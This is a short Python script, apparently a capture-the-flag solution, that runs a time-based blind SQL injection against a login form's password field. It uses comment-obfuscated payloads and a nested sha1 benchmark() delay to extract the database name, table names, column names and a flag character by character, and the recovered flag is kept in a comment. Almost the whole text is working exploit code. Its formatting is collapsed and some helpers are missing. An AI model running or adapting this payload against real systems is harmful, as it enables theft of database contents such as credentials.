defsql_injection(payload:str): wd_tr="" for j in range(1,100): for i in range(32,128): payload_fina=f"1'or/**/case/**/(select/**/hex(right(({payload}),{j}))/**/in/**/('{hex_tran(i)+wd_tr}'))/**/when/**/1/**/then/**/benchmark(100000,sha1(sha1(sha1(sha1(sha1(sha1(sha1('HWG'))))))))/**/else/**/1/**/end#" data={ "username":"admin", "password":payload_fina } print(data) times=time.time() r=s.post(url,data=data).text if time.time()-times >= 4: wd_tr=f"{hex_tran(i)}"+wd_tr print(wd_tr) break if i==127: wd_tr = tran_str(wd_tr) print(wd_tr) exit(0)
if __name__ =="__main__": #payload="database()" #payload="select group_concat(table_name) from information_schema.tables where table_schema in (select database())".replace(" ","/**/") #payload="select group_concat(column_name) from information_schema.columns where table_name in ('Fl49ish3re')".replace(" ","/**/") payload="select group_concat(f1aG123) from Fl49ish3re".replace(" ","/**/")#flag{08e687c1-cc68-4db0-9924-407792caf20e} sql_injection(payload)